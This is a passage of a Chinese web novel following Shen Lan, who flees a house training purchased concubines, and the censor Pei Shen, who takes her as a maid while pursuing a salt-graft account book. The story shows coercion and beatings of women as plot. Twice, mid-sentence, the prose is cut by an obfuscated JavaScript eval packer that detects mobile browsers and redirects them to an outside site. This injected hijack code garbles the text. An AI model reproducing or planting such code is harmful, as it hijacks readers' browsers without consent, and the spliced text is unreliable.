她身上的大氅其实不叫大氅,不过是个春季的短披风罢了。便把自己的大氅如同裹浴巾一般裹在身上,又把两人剩下的所有衣服按照抹胸、中衣、外衣的次序,一一穿在身上。这样一来,纤细的身体看上去便壮硕多了。 再将自己的袜子鞋子脱下来揣进胸口兜里,这些都可以去估衣铺换钱的,沈澜一文钱都舍不得丢。 又换上其中一人的袜子鞋子,另一双袜子便分成两只,正好将两人的嘴堵上。解下两人的裤腰带,将她们抱颈捆好。 最后,沈澜照着俩人的发型,给自己梳了个已婚女子发髻。这发髻极简单,想来也是,平头百姓日日要劳作,怎么可能梳些复杂发髻。 她又用手指在地上抹了点泥巴,均匀的抹在自己白净的脸上。 万事俱备,沈澜干了最后一件事。 ——她推开了门。 外头依然黑漆漆的,可仿佛有鲜活的空气涌进来。 沈澜心脏狂跳,激动不已,她深呼吸一口气,正要跨过门槛奔逃,忽觉后颈一痛,便失去了意识。 4. 第4章 入夜,盐漕察院内。 裴慎站在四君子雕花楠木翘头案前,案上置着一只天青色官窑古胆瓶,斜斜插着几支青翠田田的莲叶。 灯火煌煌之下,他正随意把玩着一支箬木制的绿沈漆竹笔,门外忽有人轻叩。 “爷,查到了一册账本,只是……”进来的侍卫林秉忠将一册账本递上,又为难道:“去刘宅时发现有一女子打晕了两个守门婆子似要逃跑,为防节外生枝,便将她一起带回来了。” 说着,将肩上扛着的麻袋放下来,正要解开。 “不必解开!”麻袋里的沈澜突然出声,唬了林秉忠一跳。 就连裴慎都一愣,复又沉着脸:“稍候出去自领十军棍。” 这麻袋里的人一动不动,林秉忠还以为对方一直晕着,一时便大意了。竟叫一个外人听见了账本二字。 他自知鲁莽,哪敢辩驳,领了命站在一旁不说话。 沈澜半路就被颠醒了,可四肢被绑,逃也逃不了,便只能装昏,这会儿见要解开麻袋,赶紧道:“诸位好汉,我被套着麻袋,不曾见过你们的脸,还请好汉饶命。” 见她这般,裴慎问道:“你是何人?为何从刘宅出来?” 沈澜心知对方能无声无息掳走她,绝不是刘妈妈之流,更不是她能抗衡的,便老实道:“我本是刘宅丫鬟,不堪被人打骂,夤夜出逃,望二位好汉饶命。” 丫鬟?裴慎冷笑:“满口谎话。” 沈澜心里一突,只听裴慎道:“你一个丫鬟,随意找个由头出府一趟,一去不回便是。非要在夜深人静跑?恐怕不是丫鬟,是刘宅的瘦马罢!” 沈澜见被识破,即刻道:“这位壮士明察秋毫,小女的确是瘦马出身。少时家贫,没吃过一顿饱饭,被卖后学不会诗词歌赋,又不会算账女工,便日日挨饿,面黄肌瘦,苦不堪言。只好趁夜出逃,万望二位壮士可怜一二。” 这话说的实在可怜,还隐有啜泣之声,一旁的林秉忠面露不忍,谁知裴慎是个冷心肠,只淡淡道:“又说谎。” “你一个人能打晕两个婆子,必定是使了计的,这般灵慧之辈,说自己太笨学不会东西?谎话连篇!” 沈澜咬着牙,暗恨今儿怎么这么倒霉,碰上了个煞星。 裴慎见她不说话,心道她百般狡辩,说什么怕看见我与林秉忠的脸,又说自己是丫鬟,又说自己挨饿到面黄肌瘦,无非是怕我解开麻袋,看了她的脸对她心怀不轨罢了。 “去,解了袋口。”裴慎吩咐道。他倒要看看是什么样的天姿国色。 麻袋口一开,沈澜猝不及防见到亮光,生理性眼泪涌出,湿润了眼眶。 她睁开眼,一双水洗般的明眸,朱唇榴齿,云鬓花颜,明澈干净,清丽脱俗。灯火朦胧之下,唯见美人含泪,似喜似嗔,最是多情。 裴慎见状,竟微微失神。 只他在看沈澜,沈澜也在看他。 此人身着竹叶纹缂丝云锦直缀,头戴玉冠,腰佩锦带,脚蹬官靴。身量高挑,肩宽背阔,剑眉星目,鼻梁高挺,薄唇,渊渟岳峙,气度斐然,颇具压迫感。 沈澜死死地把这王八蛋的脸印入脑海后,便低下头去。 她生得俏,此刻低头,如海棠垂首,又似菩萨低眉。 裴慎喉头微动,轻咳一声,“你早不跑,晚不跑,偏偏挑在今夜,可是明日便要被送去哪家府上?” 沈澜心念一动,“是,约好了明日便要去新任巡盐御史府上。若我明日不出现,御史老爷必定会派人来找我。” 为今之计,只盼着巡盐御史尚还有些震慑力,能压住此人。 只不知为何,沈澜这话说出口,室内一片静默。 这样的静默着实令人坐立难安。 半晌,裴慎忽朗声笑道:“我怎么不知道,明日竟是佳人有约?” 沈澜惊愕不已,猛地抬头看他,唯见对方笑意盈盈过来,替她解开双手上的绳子,又将她扶起来。 她越笑,沈澜越发惊惧。 刚出虎穴,又入狼窝。 “你这是……”见她站直了身体后,腰部粗壮,宛如水桶,分明是为掩盖身形缠了许多衣物,裴慎一时间哑然失笑,笑骂道:“当真精怪!” 俩人素不相识,对方却表现的如此亲昵,沈澜心里发沉,只低头道:“大人,民女不懂事,方才是胡说八道的。” 裴慎见她如此,哦了一声,好心道:“既你不是赠予我的,我便将你送回刘宅,也算是做善事了。” 说着便要喊人,沈澜一时情急,连忙恭顺求饶:“大人!民女方才一时情急,胡言乱语蒙骗了大人,万望大人海涵。” 又道:“民女出身鄙陋,乡野小民,市井之徒,没读过多少书,不识得几个字,却也知道清白做人的道理,只因不愿做瘦马这才逃跑,还请大人莫要将民女送回刘宅那虎狼之地,万望大人体恤一二,全当今日没见过民女。” 裴慎似笑非笑,拿着笔遥遥指着她:“你不实在。见过便是见过,哪里能当做没见过呢?” 沈澜心知对方不肯放过她,也不想再绕圈子,直言道:“敢问大人欲如何处置民女?” 裴慎便看她几眼,见她低眉敛目却依然可见朱唇粉面,心里便有些意动:“你原本是要被送到我府上的,逃跑以后竟还能遇着我,也算是一段奇缘。” 沈澜银牙暗咬,恨得不行,却挤出一个恭敬的笑容道:“大人此话何意?” 裴慎笑道:“你一介弱质女流,手无缚鸡之力,便是逃出去了,日子也不好过。既是如此,倒不如在本官身侧待着。” 沈澜一时间悲从中来。她不想给人当妾室,足足熬了一年才逃出刘宅,谁料刚出虎穴,又入狼窝。到头来还得给人当妾。 她不死心,咬牙问道:“大人何意?” “我初初上任,盐漕察院里侍奉起居的丫鬟婆子粗手粗脚,不堪大用,便想寻一个懂些文墨的丫鬟。” 丫鬟?沈澜惊讶不已。一时间竟不知难过好还是庆幸好。不做妾室固然很好,可当丫鬟又能好的到哪里去呢! 沈澜咬咬牙道:“大人,民女只想做个良家子,安安生生过日子。” 这是既不想当妾,又不想为奴为婢了。 裴慎便冷下脸来,“你是瘦马出身,签得必定是奴籍,如今不过是将你的主子从鸨母换成本官罢了,你觉得本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375387|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官还比不上一个鸨母吗?” 语毕,似笑非笑道:“你若不愿意伺候我也罢了,只是今日恰好抓住了个逃奴。按律,逃奴若被抓住打死勿论。” 沈澜被他威胁,又见他冷冰冰的样子,心知对方已然不耐,若再争下去,恐怕真要被治罪打死。 罢了,留得青山在,不怕没柴烧。且先安抚他,熬过这一遭再逃跑。 “民女愿伺候大人。”沈澜假意恭敬道。 见她这般恭顺,裴慎神色和缓道:“你原来叫什么?” 本想说“沈澜”,转念一想,本名得等她逃出去再用,便说道:“绿珠。” “绿珠。”裴慎瞥她两眼,笑道,“倒也贴切。” “只是意头不好,况且你既做了丫鬟,当换个名字”裴慎随口道,“已是六月,花团锦簇好时候,便叫沁芳吧。” 沈澜素来秉持除死无大事的原则,能屈能伸道:“是。” 裴慎瞥她一眼,沈澜会意:“奴婢谢过爷赐名。” 见她恭顺,裴慎便温声道:“你在刘宅待了多久?可曾听过刘葛这个人?” 沈澜刚才听他们提到账本,想来对方是为了找什么账本才去的刘宅。账本这种东西素来隐秘,既然能查到这般隐秘的东西,恐怕已经知道许多东西了。 思忖片刻,沈澜老实道:“待了七年,刘妈妈自称攀上了盐商刘葛才做了瘦马生意,对外宣称本家。只是上一年刘葛来挑瘦马时我亦见过,刘葛起身时,刘妈妈靠的很近且扶了他一把,这二人恐怕是姘头关系。” 见她说起姘头二字面不改色,裴慎心道果真是瘦马出身,不知廉耻。恐怕避火图、浮诗艳词也是学过的。 裴慎一时间心生不喜,淡淡道:“不过是靠的近罢了,你又怎知俩人关系?” 沈澜二话不说,往林秉忠的方向走了两步。林秉忠下意识后退半步,低下头去不敢看她。 “大人,这才是正常男子见了女子的反应。” 裴慎定定地看了她两眼,见她靠近林秉忠毫不害臊,反倒林秉忠低头红脸的,一时间只觉此女果真是浮花浪蕊,放荡至极。 他那点心思也淡了,便冷哼道:“你且下去。” 沈澜不知他为何阴晴不定,不过不必伺候他,便高高兴兴地走了。 这会儿已是天蒙蒙亮,有丫鬟早起扫洒庭院。 沈澜进了后院,颇有自知之明的问道:“敢问这位小妹妹,府中下人住何处?” 正扫洒的小丫鬟抬起头来,骤然见了沈澜的脸,痴痴梦梦好一会儿才回神道:“你是……?” “府中新来的婢女。”沈澜道。 那丫鬟名叫坠儿,此刻呆呆地哦了两声,方带她去往下房。 前任扬州巡盐御史将盐漕察院修建的颇为宽敞,再加上院中仆婢稀少,即使是下房,也足够仆人们一人一间。 沈澜随意挑选了一间离不远不近的下房,躺在榻上。 她足足一天一夜没睡,又四处奔波,心神紧张,这会儿躺在床榻上,本想理理思绪,看看日后的路要怎么走,偏偏一沾着枕头便睡着了。 她睡得香,可书房里,裴慎却毫无睡意。 5. 第5章 书房内,侍卫林秉忠抱剑而立,正禀报情况:“带了两个人去正房,吹了些迷烟进去,又怕那鸨母醒来,便敲晕她后才四处详查。” “其余的倒也没甚怪异之处,只床榻四周地上俱有划痕,这床恐怕时常移动,我等移开床榻后发现有几块砖明显没砌死,便找到了账簿。” 说到这里,林秉忠的脸微微发红,含糊道:“还找了件鸨母的衣物塞了进去,只要不把包着账本的包袱打开来看,或许能糊弄过去。” 裴慎不置可否:“既是床榻时常移动,恐怕刘葛每次去刘宅都要查看账簿。下一次再去,他必定会发现账簿丢失。” 裴慎说到这里突然嗤笑:“不过也不一定。” 怎么又不一定了?林秉忠一脸迷茫。 见他鲁钝,裴慎也懒得解释,只摆摆手道:“你且派几个人盯住那鸨母和刘葛,若没动静便按兵不动。若逃了,不必留情,两人都抓了扔进牢里再说。” “是。”林秉忠应声出去。 裴慎便不再说话,一页页翻过账册,只见上面记载着一条条消息。 “丁卯年三月十五,宴都转运盐使司转运使秦献、副使刘必之、经历赵案费银百十七两,赠秦宅邸一座,刘瘦马一匹,赵《伯远帖》真迹。” “丁卯年四月初六,再赠秦金珠三百,美婢一名,余得残盐二百引,余盐一千引。” “丁卯年七月十九,暴雨七日,转运使秦上报正盐两千四百六十三引为雨水所淹,余分润得正盐七百四十八引。” 裴慎神色冷冷,便是不继续往下翻,他都知道底下是什么,无非是以各色名目侵吞运所盐产罢了。 裴慎取出纸笔,一一录下账册上提及的名字,紧接着一个个打量过去。 转运使秦献乃都察院御史孙宁德外弟,此人脾性爆裂,言辞如刀,虽被人戏称为刀笔吏,然则刚正不阿。 若秦献一倒,必有人弹劾孙宁德,陛下恐不会让秦献坐实贪虐之罪。要他再任一年,此后借机寻个错处,革去转运使之职,以免牵连孙宁德。 既然如此,便可向孙宁德与秦献卖个好。 裴慎思索着,将秦献的名字圈了出来。 下一个,副使刘必之。此人是浙中心学门人,在朝无党无派,在野关系颇多。且擢拔一个浙中心学门徒代替他便是了。 以朱笔划去刘必之的名讳,又在旁写下“李阔”二字。此人师从浙中心学谷良定,但他还有另一个更具代表性的身份,裴慎同年。 况且李阔任副使,待一年后秦献被革职,李阔若做的好,必能被擢升转正。届时,两淮都转运盐使司转运使的位子便稳稳当当落在裴慎夹袋中了。 辛苦一月,略有所得,裴慎面带浅笑。 再看接下来的这些官位,经历司经历、知事,仓场大使等等十余个人,一大半都是朝中无人照应的小卒。 既然如此,将泰半官位分润给朝中数位阁老以示好。留下一两个给戴罪立功之人以收拢人心,最后三四个关键位子便留给同乡同年,既不显眼也好办事。 裴慎细细写了名单,待复核过一遍后,记于脑中,将纸张掷于火盆中焚烧殆尽。 紧接着,他取出题本,只思索片刻,换成了奏本。 公事用题,私事用奏。账本一事颇为隐秘,若用题本,必要先去通政司、内阁走一遭,难免泄露风声。 十二幅白纸上书“臣都察院巡盐御史裴慎谨奏为劾都转运盐使司转运使秦献、副使刘必之、经历赵案罪七条……如燕口夺泥,贪财贪色以率其行,似针头削铁,好利好谀以欺乎上……臣请暂不增发盐引以恤灶恤民,二请增设避潮墩以免灾殃,三请清点正盐、余盐、残盐、零盐、所盐数量……右谨奏闻。” 裴慎年少登科,文采斐然,加之上任一月来四处走访盐所乱象,胸有成竹之下,提笔一蹴而就,连篇馆阁体,一字未涂改。 待他写完奏本,便与账本一同放于报匣中,将另一个侍卫陈松墨唤进来,吩咐道:“快马加急,送去锦衣卫。” 陈松墨接过东西,告退离去。 此刻日头高照,盐漕察院人少,颇为静谧,刘宅却已一派兵荒马乱。 “快快快,快把我的裙子拿来!” “哎呀,簪子都插歪了。” “姑娘,忍一忍别喝吃东西!万一见客的时候想如厕就不好了!” “花钿呢?把花钿给我贴上!” 婢女们急急忙忙把自家姑娘喊起来了,着绫罗,簪钗环,搽脂抹粉,描眉画眼…… 刘妈妈这一觉睡得沉,若不是丫鬟喊她,恐怕还要再睡。直到日上三竿,她才揉揉酸痛的脖子,穿戴完毕,迈进小院子,怡然自得地从东厢房开始巡查起来。 不错,琼华、香梧都开始准备了。 “虽说要快着些,但也不能急”,刘妈妈嘱咐道。 见两个婢女细声细气地应了,刘妈妈满意地点点头,又去了正房。 “叩叩叩” 片刻后,屋子里还是没有声音,刘妈妈眉头一蹙,反手推开大门。 屋子也不大,一眼望去,画屏正在脚踏上酣眠。 这都什么时辰了,竟还在睡!刘妈妈沉下脸,踢了踢画屏蜷缩的双腿。画屏惊痛之下睁眼,瞧见刘妈妈阴沉似水的样子。一时惊慌,委屈道:“刘妈妈,你踢我做甚?!” 画屏这懒胚子,越发没规矩了,待忙完了这几天,且叫她老子娘好生教教她。 刘妈妈想着,抬手撩开纱帐。素纱帐内薄被隆起,绿珠分明还在睡。 当真不知轻重,这都什么时候了,还在睡。刘妈妈蹙眉,一把掀开被子:“绿珠,快起来……” 被子底下赫然是个青竹枕。摆的端端正正,四四方方。 一旁还放着个雕花杉木妆奁,里头一干二净。 刘妈妈一时间头晕脑胀,只觉血气直冲天灵,她勃然变色,回身斥骂:“愣着做甚!快去找绿珠!厅堂里,花园子里,把犄角旮旯都翻检一遍!快去!” 跟在她身后的李婆子慌忙带着几个健妇出去。唯剩下画屏脸色惨白,只立在床边哆哆嗦嗦如鹌鹑。 刘妈妈见状,心头大恨,伸手甩了画屏两巴掌,边打边骂道:“你这懒驴!叫你看个人你看狗肚子里去了!眼珠子不要了不成!你是痰迷心窍了,个贱蹄子!” “哎呦,妈妈……妈妈饶命……疼……不敢了……”画屏哭哭啼啼地躲闪,可刘妈妈又气又怒,哪里肯饶她。骂累了,便干脆下狠手拧一圈皮肉掐她。 画屏疼得不行了,啼哭道:“……厨房!厨房!” 刘妈妈骤然一停,惊疑不定的看着她。画屏宛如抓住了救命稻草,死揪着刘妈妈的衣袖,抽噎道,“昨晚、昨晚姑娘说她早上要喝粥。必定是自己去厨房取了。” 闻言,刘妈妈更是大怒,这吃白粥和床上隆起的被子一样,都是绿珠拖延时间的玩意。若自己真信了,派人去厨房找绿珠…… 刘妈妈越想越气,干脆抄起随身携带的,专门用来调.教瘦马的细竹条,劈头盖脸的抽下去:“蠢东西!当真是个蠢笨玩意儿!素日里给你们吃的喝的,都吃哪儿去了!脏心烂肺的下贱蹄子!你活着做甚!蠢死算了!” 画屏哭得上气不接下气,顾得住头,顾不上腚,被打的身上脸上一道道浮起的血凛子。 她在家从没受过这么大的委屈,又气又委屈,只嚷嚷着:“你打我做甚!打我做甚!那绿珠对谁都说要去攀富贵,谁能想得到她跑了呢!” 刘妈妈一时更气。她终日打雁被雁啄了眼,此刻气急败坏,正要扬起细竹条,狠狠地打上去,方才去找绿珠的李婆子连滚带爬地过来。 ”刘妈妈,不好了不好了,陈荷花和王三娘被人绑起来了”。 剧烈的晕眩感让刘妈妈脑子发疼。 “就在后头的角门,两人衣服都被扒光了,还被扔进了花丛里,脑袋血糊糊的,绑的可结实了!”李婆子惊慌未定,“刘妈妈,要不你去看看她俩?” 看个屁!绿珠必定是逃出府了!刘妈妈被气的胸口一阵闷痛,她恨恨地扔下竹条,顾不上哭喊着要去找陈荷花的画屏:“都给我把人散出去,从角门一路往外搜。她一个弱女子,大门不出,二门不迈,跑不了多远!” “可、可刘妈妈,再过半个时辰,刘老爷就要来了!”护院刘鹏匆匆来报。 好好好!贱人!就是想趁此机会拖时间是吧?! “分出一半的人手去找她。”刘妈妈咬牙切齿,“另一半人手留在院子里,等着主顾上门!” 她指着刘鹏:“去了外头小心着点,别给我招祸。” “妈妈尽管放心。”刘鹏自然知道做这种事要稍微隐晦些。扬州膏腴之地,多少富贵人家,他们不过是调教瘦马的平头百姓,哪里能横冲直撞,肆无忌惮呢。 “还有。”刘妈妈语调森森,恨不得生啖其肉,“今日申时三刻,还抓不到这贱人,你便拿着刘老爷的帖子,去衙门里报逃奴!” 刘鹏悚然一惊。这是要赶尽杀绝啊! 绿珠若是不离开扬州,总有一天会被他们找到的。可要想逃出扬州,就得要路引,但她是逃奴了,一去官府办路引,即刻就会被抓。 前后的路都被堵绝了。刘鹏打了个寒颤,刘妈妈好狠的心啊! “呵!”刘妈妈阴着脸冷笑一声,“你可别对那贱皮子心软!她这一逃,你可是亏了一大笔银钱呢!”每卖出去一个姑娘,这里上上下下,都能分润一笔银子,虽然不多却也是个进项。 刘鹏那点稀薄的同情心,宛如朝露般散去。他阴着脸点了几个人:“你、你,还有你。跟我走!” 看着刘鹏远去的背影,刘妈妈冷声吩咐道:“还愣着干什么?刘老爷要来了,赶紧准备去!” 刘老爷马上就要来选人了,绿珠不在,那就只有琼华了。刘妈妈边走边思量,越想越恨,只恨不得撕下绿珠一块肉来。 这贱皮子,小娼妇!没福气的下作东西!泼天的富贵摆在眼前,竟然跑了?!还将守门婆子打得头破血流,害她少了两个人手搜捕。 刘妈妈思及此处,脚步倏忽一顿。绿珠一个弱女子,怎能击晕两个健妇?再一想到自己后颈酸麻,早上昏昧不醒……刘妈妈面色阴晦如霾。 她原是沿着游廊莲步轻移,此刻顾不得婀娜风致,越行越急,裙摆翻动,行步如飞。 匆匆赶到正房,合上房门,慌忙推动自己的床榻,露出墙角,取下两三块未曾砌死的活砖,只见里面有个细棉布包袱。 刘妈妈一口浊气吐出,包袱还在就好。她刚扯出包袱,打开一看,差点晕过去。 里面赫然是一件豆绿色比甲! 捏着柔软的杭绸,刘妈妈火冒三丈,怒气冲冲将衣衫掷于地下,狠狠地啐了两口,这才冷静下来。 账本被人拿了,刘葛必定事发。况且对方能找到这里,她恐怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375388|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也被人盯上了。事已至此,舍了家业,速速离开扬州避风头方是正事。 刘妈妈慌急慌忙取了银钱便要逃,转念一想,那死鬼贩私盐起家,心狠手辣,若今日见不到她,又找不到账本,以为她携账私逃,狗急跳墙找个由头报官追捕她可如何是好! 况且急急逃跑,路引倒是早早备好,只是银钱唯有千余两罢了。若能先哄过刘葛,卖了手上的货再走,那便松快多了。 刘妈妈思忖片刻,狠下心来,扯开被褥,那床上竟还有个隔层。 打开一看,里面赫然是一本账簿。 刘葛做账是怕事发,好用账本将功折罪,或是要挟受贿官吏救他。又怕那些官儿只想毁了账本,不肯救他,除了在自己府中藏有正本外,干脆又在她这里藏了副本。 可那刘葛既然狡兔三窟,刘妈妈又何尝不是个精明人呢?便复刻了一份账本私藏起来。 此刻,丢了刘葛那份,还有刘妈妈这份。 用的是贮藏三年的官堆竹纸,以刘葛最常用的剔红管狼毫笔,蘸着凹地阳文去角碑墨写就,保管与丢掉的账簿材质、字迹均一模一样。 刘妈妈取出账簿,只暗叹一声,葛郎,你也莫怪我,夫妻本是同林鸟,大难临头各自飞。更别提你我还不是夫妻呢。 她将账簿塞进墙中,将砖块、床榻复原,又急急去寻琼华。 琼华正梳洗打扮,忽闻绿珠逃了,一时间惊愕不已。 刘妈妈见她那副呆呆发愣的样子,忍不住迁怒,暗骂一句,也不知是不是装的,左右都是贱蹄子! “绿珠这下作东西,也不知道念我的恩!”刘妈妈满腔怒气,还要和颜悦色地拍拍琼华的手。 她温温柔柔:“琼华啊,绿珠书读多了,人也傻了,孤身一人的弱女子在外面,能有什么好的呢?只怕是被人掳去,进私窠子当暗娼,做个千人枕万人骑的婊.子!” 琼华一个哆嗦,被吓得脸色惨白,又想起之前刘妈妈带她们去看过的暗门子。 怀孕了被龟公一棍棍打在肚皮上,血流了满地,活生生打到流产的;长了杨梅疮,拿烧红的烙铁烫掉疮,继续接客的;还有被客人拿鞭子打得半残的女子…… 三言两语便唬住了琼华,刘妈妈满意地点点头,“去!把绿珠衣物拿来,再叫画屏来伺候琼华。” 刘妈妈眼风一扫,琼华的丫鬟春燕即刻应了一声出门去。 见四下无人,刘妈妈这才道:“琼华啊,如今绿珠逃了,能去巡盐御史府上的人便只有你了。你可愿意?” 琼华微微一怔,喜上眉梢,只点头道:“自是愿意的。” 见她这般,刘妈妈紧绷的心弦可算是松了下来。她早已告诉过刘葛,院中有一位天姿国色的美人可献给新任巡盐御史,如今绿珠逃了,若无人顶替,刘葛必起疑心,为今之计,只能拿琼华糊弄过去了。 刘妈妈心中计定,又安抚了院中其余的几个姑娘,勒令众人不得再议论绿珠逃跑一事,复又急急赶去梳妆打扮。 不过半个时辰,刘葛便如期而至。 刘老爷年过四十,留一把美髯,大腹便便,头戴深色网巾,穿一件鹤鸣缂丝直缀,看起来颇有气度。 刘妈妈捏着清漆柄水仙茶花团扇,穿着时新的白线挑衫,蓝织金裙,梳着云髻,头上插一柄玉梳,并一只白玉兰簪。精心梳妆打扮后看起来虽徐娘半老却风姿绰约。 她将下人打发出去,见了刘老爷便嗔道:“你这冤家,来挑个货便这般打扮,浑然忘了还有奴家以泪洗面,日夜念着你!” 刘葛连忙将她搂过来,一通心肝肉地哄。 俩人腻歪了好一阵,刘妈妈见他要起身去查看包袱,娇声道:“葛郎,你回来都要看那东西,到底是来见我还是见它?今儿不许你看!” 刘葛闻言,顿时起疑。他做盐商的,若说没心眼,那当真是笑话。他疑心大起,便一面赔笑,一面挪开床榻。 刘妈妈气道:“好好好,你要看便看!只有一条,若这东西没事,你以后都不许上我的床榻!” 刘葛已然扯出了包袱,打开一看,那账本果真还在。他正要翻开来,刘妈妈便在一旁讽刺道:“你看便是了!好好看仔细看!看到日落西山都行!” 刘葛见账本好好的,自己方才还怀疑刘妈妈,心中原就有几分愧意,此刻又听刘妈妈这么说,照旧打开了第一页看了几眼,见没什么差错这才扔下账本赔笑道:“不看了不看了,来看我的娇娇儿。” 刘妈妈心下一松。又冷哼一声,伸出莲足想踹他一脚却偏偏止住,再含羞带怯睄一眼,刘葛一时间便心猿意马起来。 俩人扔下账本调笑了一阵,便将床榻复位,又唤来瘦马挑拣。 “奇了,上一年我分明见着个清丽脱俗的姑娘,去哪儿了?” 刘妈妈摇着团扇的手一顿,娇笑道:“你可莫提她,那丫头是个蠢笨的,原还有张脸,只前些日子脸上竟起了疹子,再三告诫她不许挠,还是挠花了脸,治也治不好,都留疤了,气的我提脚卖去了楼子里。” 刘老爷扼腕不已:“好端端的脸,怎么就毁了呢!”由得你有万般才情,对一个瘦马而言,毁了脸便是毁了一切。 刘葛惋惜过后,再没了打听的兴趣,只挑中了琼华,付了足足一千两银票,一顶小轿带走了她。 刘妈妈松了口气,又要迎接下午约好的几个老爷。待把手里的几件货卖了,拿上银钱便即刻离开扬州。 6. 第6章 沈澜醒来,已是日上三竿。 想来是这半年来日日提心吊胆,如今骤然松懈下来,便是饿着肚子也酣眠一场。 至少裴慎不至于把她送去给人当妾室,也不会因为卖不到一个好价钱就只能将她卖去妓馆接客,为了自己的官声更不至于虐待她。 细细算来,这几日竟是她一年来精神上最为舒缓的时候。 沈澜悲哀的叹了口气,复又打起精神来,想出门寻些吃食。 她醒的太晚,丫鬟婆子们早已吃过早饭,便只能在坠儿的带路下到了小厨房,请厨娘做了碗清汤面。 那厨娘摆弄着几十颗黄梅,正以杵去核,沈澜好奇道:“赵娘子这是在做甚?” “制梅酱。这天热死个人,且给大人呈一碗梅汤消夏。”说着,赵娘子又将四两甘草炙成末,一斤研好后的姜片扔进钵中。 接着,便半侧着身子,挡住了沈澜的视线,又往钵里扔了几粒剖开的青梅子并些许紫苏干、白豆仁…… 沈澜见状,了然一笑。盐漕察院富庶,连厨娘都是扬州名厨。这样的人家多有自己的秘方,敝帚自珍也是常态。 沈澜无意窥伺他人秘方,便转过身专心吃面。待她吃完面,见赵娘子还在搅匀那些料,便问道:“赵娘子,若是不用这么多料,只是几颗黄梅青梅,制出来的梅酱味道如何?” 赵娘子知道她是大人身侧伺候的丫鬟,便好声好气道:“寻常百姓家里夏日也煮梅汤,不过是将蒸好去核的乌梅、黄梅捣烂,煮成汤罢了。味道虽没有我制的好,却也过得去。” 沈澜若有所思的点头:“这样的梅汤作价几何?” “姑娘说笑了,街里街坊的,家里有株青梅树,若有人去讨要几个梅子,谁还收钱不成?真要去买,青梅太酸也要不了几个钱。便是用青梅腌渍成的乌梅,或是四五月的黄梅,也不过多费些柴火罢了。” 沈澜点头称是,又问道:“这夏季消暑,除了酸梅汤,还有绿豆汤罢,这绿豆可便宜?” “绿豆不过四文一斤,一斤绿豆十斤水,够你喝到肚皮滚滚圆。” 语毕,赵娘子好奇:“姑娘问这些做甚?” “不过是随口一问罢了。”沈澜只是笑,又换了个话题:“我初来乍到,不谙院中事物,敢问赵娘子,这院子里可有大人带来的家生子?” 赵娘子正碾弄着钵中诸料,手中不停,口中只答复道:“院中唯我一个厨娘,并三个粗使婆子,还有坠儿与墨砚两个七八岁的小童罢了,俱是扬州本地人。” 沈澜便点点头,又道了谢,自己洗净碗筷,出门去寻坠儿,探听将她掳来的那侍卫去向。 那侍卫既是裴慎亲信,想来多半是其府中人。便不是,也对裴慎了解甚深。 坠儿年纪小,常做跑腿的活,被沈澜塞了两个铜板,便喜上眉梢:“我方才见那林秉忠出了内院门口,只是不知道何时回来。姐姐若要寻他,不如去门口等一等。” 沈澜便在一处月亮门前截住了他。 这林秉忠掳了她来,害她为奴为婢伺候人,沈澜心里厌烦他,可这会儿人在屋檐下,不得不低头,只能挤出个笑来:“不知林大哥可有空?我有几件事想问问。” 林秉忠想了想,大人只叫他盯着几个案犯,暂时没别的吩咐,便说道:“敢问姑娘所问何事?” 沈澜:“据我所知,卖身契一式三份,买方、卖方各一份,担保人即官府一份。我若持有刘妈妈手中的卖身契,能否前往官府销去奴籍?” 林秉忠颇为惊讶,蹙眉:“爷不是让你安心住下来吗?” 沈澜反问:“安心为奴为婢吗?” 林秉忠一愣,劝道:“姑娘,爷是国公府世子,做丫鬟穿金戴银不算委屈了你。况且外头的世道对女子太过艰难。你若无人庇佑,生得又好,帮闲无赖白日便敢来敲你家门。” 沈澜不是不知道,在古代一个孤身女子生存何其艰难。多少人家插标卖首、卖儿鬻女都是为了活下去。可比起当瘦马被人卖来卖去,比起为奴为婢尊严沦丧,一切困难都可以克服。 “林大哥,人各有志,我这一生,宁可自由自在老死于荒山野岭,也不愿富贵荣华却一辈子为奴为婢。” 林秉忠愕然不已,不禁抬头望她,见她荆钗布裙难掩清丽,亭亭地立在日光里,他慌忙低下头去。 良久,只轻声道:“若是如此,你不如求求爷。爷见你一个弱女子可怜,或许便肯销了你的奴籍。” 沈澜郁闷不已。心道这裴慎面上功夫做的有多好,分明是个心冷如铁之辈! 见她不说话,林秉忠又安慰她:“你且宽心,公府为积德,丫鬟多有定例,你不是家生子,二十岁也就放出去了,有的蒙主子恩典,十七八有家里人来赎便也让她们走了。况且你若活做得好,叫爷高兴,出府的时候,爷自会送你一份前程。” 沈澜苦笑,她原本想着刘葛倒台,刘妈妈就此失去靠山,她或许能赎回自己的卖身契,如今看来,林秉忠避而不谈,恐怕希望不大。 “既是如此,我想问问林大哥。”沈澜直言道,“大人身侧可有妾室?”裴慎有没有可能纳她做妾? 林秉忠实在耿介鲁直,根本听不出她的言外之意,直言道:“姑娘勿要胡说,大人正要守孝三载,怎会有妾室?” 沈澜一时间悲喜交加。 事情已成定局,如今想销去奴籍是不可能了。且裴慎势大,与刘妈妈不同,想在他手中逃跑,难上加难。 可听林秉忠这么一说,不做妾,只干个三年仆婢,找人来赎她就能脱身,届时便是光明正大的良家子了,可比当个逃奴,挖空心思上户籍,心惊胆战生怕事发强多了。还能借助国公府,结识些人脉善缘,将来孤身一人也不怕被街头的帮闲地痞欺凌。 